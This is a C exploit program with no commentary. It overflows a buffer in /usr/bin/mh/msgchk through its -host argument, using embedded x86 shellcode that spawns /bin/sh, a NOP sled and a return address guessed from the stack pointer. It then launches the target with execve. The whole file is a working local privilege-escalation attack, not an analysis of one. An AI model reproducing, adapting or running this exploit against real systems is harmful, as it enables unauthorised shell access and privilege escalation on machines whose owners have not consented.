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- #include <stdlib.h>
-
- #define DEFAULT_OFFSET 0
- #define DEFAULT_BUFFER_SIZE 1018
- #define NOP 0x90
- char shellcode[] =
-
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
-
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- unsigned long get_sp(void) {
- __asm__("movl %esp,%eax");
- }
-
- void main(int argc, char *argv[]) {
- char *buff, *ptr;
- char *args[5];
- char jorge[]="";
- long *addr_ptr, addr;
- int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
- int i;
- if (argc > 1) bsize = atoi(argv[1]);
- if (argc > 2) offset = atoi(argv[2]);
-
- if (!(buff = malloc(bsize))) {
- printf("Can't allocate memory.\n");
- exit(0);
- }
-
- addr = get_sp() - offset;
- printf("Using address: 0x%x\n", addr);
-
- ptr = buff;
- addr_ptr = (long *) ptr;
- for (i = 0; i < bsize; i+=4) {
- buff[i]=addr & 0xFF;
- buff[i+1]=(addr >> 8) & 0xFF;
- buff[i+2]=(addr >> 16) & 0xFF;
- buff[i+3]=(addr >> 24) & 0xFF;
- }
-
- *(addr_ptr++) = addr;
-
- for (i = 0; i < bsize/2; i++)
- buff[i] = NOP;
-
- ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
- for (i = 0; i < strlen(shellcode); i++)
- *(ptr++) = shellcode[i];
-
- buff[bsize - 1] = '\0';
-
- args[0]="/usr/bin/mh/msgchk";
- args[1]="-host";
- args[2]=buff;
- args[3]=NULL;
- execve(args[0],args,NULL);
-
- }
-